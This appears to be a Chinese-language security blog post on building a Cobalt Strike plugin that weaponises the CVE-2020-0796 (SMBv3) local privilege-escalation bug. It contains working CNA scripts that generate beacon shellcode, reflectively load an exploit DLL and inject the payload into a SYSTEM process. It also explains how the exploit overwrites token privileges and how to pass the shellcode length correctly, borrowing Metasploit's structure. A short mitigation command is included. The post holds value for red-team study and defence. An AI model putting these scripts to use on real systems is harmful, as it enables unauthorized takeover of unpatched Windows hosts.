Cobalt Strike插件之CVE-2020-0796提权脚本开发


0x00 前言

CVE-2020-0796(Windows SMBv3 Client/Server Remote Code Execution Vulnerability)是在SMB v3协议中存在的内存破坏漏洞,可用于远程RCE或本地提权。本文主要是利用已公开本地提权POC编写Cobalt Strike的提权插件, 用到了反射DLL的方法,具体可以在开发文档中搜索ReflectiveDll
影响版本:
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
修补方式:
1.安装更新
2.Powershell命令禁用压缩功能

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

0x01 项目构建

首先将ReflectiveDll项目复制到本地,然后将Poc代码整合到项目中(编写过程中会报很多错误,需要慢慢根据报错来修改):

修改入口函数,传递参数:

如果不出意外没有报错后,就开始进行编译设置,选择Release x64,使用多字节字符集:

代码生成-运行库选择多线程DLL(/MD)或多线程(/MT):

关闭pdb的输出:

然后就可以进行编译,成功编译后会输出DLL文件:

测试好的源码地址:github~

0x02 CNA脚本编写

CNA脚本是Cobalt Strike的插件脚本,用来给beacon下发各种指令增强Cobalt Strike的能力。
编写好的脚本如下,会将提权函数注册到beacon右键菜单-执行-提权中。函数会将上一步编译好的DLL反射进内存,然后传递shellcode执行:

sub CVE_2020_0796 {
    local('$stager $arch $dll');
    btask($1, "Task Beacon to run " . listener_describe($2) . " via CVE-2020-0796"); #KB4551762
    if (-is64 $1)
    {
        $arch = "x64";
        $dll = getFileProper(script_resource("modules"), "0796.dll"); 
        $stager = transform(shellcode($2, false, $arch),"hex"); 
        bdllspawn!($1, $dll,$stager, "Elevation of local privileges", 5000);
    } 
}
beacon_exploit_register("CVE_2020_0796", "CVE-2020-0796", &CVE_2020_0796);

0x03 提权测试

测试之前需要做一下环境的准备工作,先到MSDN itellyou上下载一个1909的镜像,在虚拟机中安装好后,进行以下设置:

  1. 暂停Windows更新(很关键,自动更新虚拟机占用20%CPU,顺便还把漏洞修了…)
  2. 关闭windows Defender
  3. 添加一个普通用户(net user admin 123 /add)
  4. 完成后保存快照

    切换到admin下,随便传个🐴上去执行:

    成功提权到SYSTEM:
    CVE-2020-0796-LPE

0x04 提权原理

利用漏洞整数溢出(1108*A),覆盖返回地址指向_SEP_TOKEN_PRIVILEGES结构体,然后通过任意写更改token权限:

之后找到一个高权限进程进行shellcode注入,获取权限。

0x05 问题整理

  1. Shellcode大小计算
    CNA脚本在利用反射DLL提权时,会给DLL传递shellcode参数,用的是这两个函数生成载荷:shellcodestager,4.1可以用payload_local
$data = shellcode("my listener", false, "x64");
$data = stager("my listener", "x64");

在DLL代码中,拿到该shellcode后,会进行长度计算,然后分配内存写入。而对传入的shellcode进行计算无非两种方法,单目运算符sizeof()和函数strlen(const char* str),在进行shellcode计算时会遇到00字节导致计算错误,导致注入的系统进程(如winlogo.exe)崩溃,造成系统注销或重启。实验通过以下几种方案来尝试获得shellcode大小:
方案1(失败):
先看这第一种直接传入shellcode二进制流的方法:
使用$stager = shellcode($2, false, $arch);来生成shellcode:

可以正常获取到shellcode,但是没有办法计算分配的内存大小。
方案2(成功):
方案2是开发的插件采用的方法,在方案1中无论如何都无法获得正确的shellcode内存大小,这时想到之前利用http加载shellcode执行的方法,在程序中会接收字符串(ascll)形式的shellcode,然后再转为hex形式的c-shellcode进入内存执行。
如下的示例,只有第二组的shellcode进入内存才会被正确执行:

方案1问题在于无法获得正确的shellcode长度,方案2那么就先让它获取长度,而传入字符串可以使用strlen来获取长度,所以使用$stager = transform(shellcode($2, false, $arch),"hex");来转换shellcode为hex编码的字符串:

现在长度获取到了,就需要将字符串的shellcode转换成c-shellcode进内存执行,进行转换的代码:

经过转换后,可以发现出现了熟悉的“麳冧痂”,剩下的就是按照漏洞利用流程在进程内存开辟891的空间,然后写入shellcode了:

方案3(成功):
在前两个方案中,要么就是无法获取长度,要么就是得转换shellcode,为什么不能在cna脚本里传递参数的时候就把长度给DLL呢。这里可以看下metasploit-framework的实现方法(专业!),安装了metasploit后可以在metasploit-framework\embedded\framework\external\source\exploits\CVE-2020-0796下查看到源码:

metasploit是通过定义一个结构体,定义两种不同类型的参数:

 typedef struct _MSF_PAYLOAD {
    DWORD  dwSize;
    CHAR  cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;

在cna脚本中传递过来的参数就为:

$stager = shellcode($2, false, $arch);
$stager = pack("I-", strlen($stager)) . $stager;

执行结果可以看到正确获取大小和数据流:

更棒的是,metasploit的exp可以直接拿过来用,只需要编写cna脚本传递参数即可。

  1. 导出函数名
    在这里想尝试修改默认DLL的导出函数(去除特征ReflectiveLoader):

    修改完成后编译,使用dumpbin工具查看DLL导出函数:

    >"D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.27.29110\bin\Hostx64\x64\dumpbin.exe" /exports reflective_dll.x64.dll


    然后加载执行:

    额….,那还是老实用ReflectiveLoader。

  2. Beacon exit后进程崩溃
    Exit
    考虑是shellcode的原因,就像在beacon.exe中退出一样,进程会直接退出,那么就需要一个可以创建线程的shellcode来实现分离。在手册中看到有一个shellcode生成函数:

    在cs4.0下报错,函数不存在:

    使用cs4.1进行测试成功,exit后进程不崩溃:

    cna脚本如下:

    #cs4.1
    sub CVE_2020_0796 {
     local('$stager');
     if (!-is64 $1) {
         berror($1, "cve-2020-0796 exploit is x64 only");
         return;
     }
     println("1");
     btask($1, "Task Beacon to run " . listener_describe($2) . " cve-2020-0796");
     $stager = payload_local($1, $2, "x64", "thread");
     $stager = pack("I-", strlen($stager)) . $stager;
     $dll = getFileProper(script_resource("modules"), "reflective_dll.x64.dll"); 
     bdllspawn!($1, getFileProper(script_resource("modules"), "reflective_dll.x64.dll"), $stager, "cve-2020-0796", 5000);
     beacon_link($1, $null, $3['listener']);
    }
    beacon_exploit_register("CVE_2020_0796", "CVE-2020-0796", &CVE_2020_0796);

    另外在4.1中普通权限获取的beacon信息中Build号(影响18362和18363)实际测试并不准确:

#输出beacon信息
foreach $key => $value (binfo($1)) {
        println("$[15]key $value");
    }

0x06 参考链接

https://bbs.pediy.com/thread-262027.htm
https://github.com/pandasec888/taowu-cobalt-strike
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
PHPStorm+PHPStudy调试配置 PHPStorm+PHPStudy调试配置
在代码审计中,需要对代码调试获得更直观的数据的结构、类型和值,通过PHPStorm+PHPStudy来对项目进行远程调试和本地调试,记录配置的方法。
2021-07-27
下一篇 
Windows本地提权漏洞CVE-2020-1313复现 Windows本地提权漏洞CVE-2020-1313复现
Windows Update Orchestrator Service 存在无需认证的API接口,利用接口可在注册表项中添加将以SYSTEM权限运行的计划任务,从而获得权限提升(CVE-2020-1313)。
2020-10-09
  目录